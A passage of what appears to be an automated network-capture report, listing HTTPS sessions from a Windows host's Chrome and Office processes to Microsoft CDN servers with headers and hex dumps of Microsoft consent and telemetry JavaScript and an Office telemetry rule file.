C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49830	13.107.246.63	443	6380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:06 UTC	633	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-11-20 16:42:07 UTC	807	IN	HTTP/1.1 304 Not Modified Date: Wed, 20 Nov 2024 16:42:07 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T164207Z-185f5d8b95cwtv72hC1NYC141w0000000ag000000000283s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49831	13.107.246.63	443	6380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:06 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 16:42:07 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:07 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 34593 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4aa39486-701e-007b-0f1a-3b6206000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T164207Z-185f5d8b95cqnkdjhC1NYCm8w80000000a9g00000000ryg0 Accept-Ranges: bytes
2024-11-20 16:42:07 UTC	16384	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 16:42:07 UTC	16384	IN	Data Raw: 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 Data Ascii: -label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mod
2024-11-20 16:42:07 UTC	16381	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button-
2024-11-20 16:42:07 UTC	3568	IN	Data Raw: 74 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 Data Ascii: t("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentCha

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49834	13.107.246.63	443	6380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:07 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 16:42:08 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:07 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T164207Z-r1d97b99577lxltfhC1TEByw2s00000009800000000032vd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:08 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 16:42:08 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-20 16:42:08 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-20 16:42:08 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-20 16:42:08 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-20 16:42:08 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-20 16:42:08 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-20 16:42:09 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-20 16:42:09 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-20 16:42:09 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:07 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164207Z-r1d97b99577dd2gchC1TEBz5ys00000008zg000000009dzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
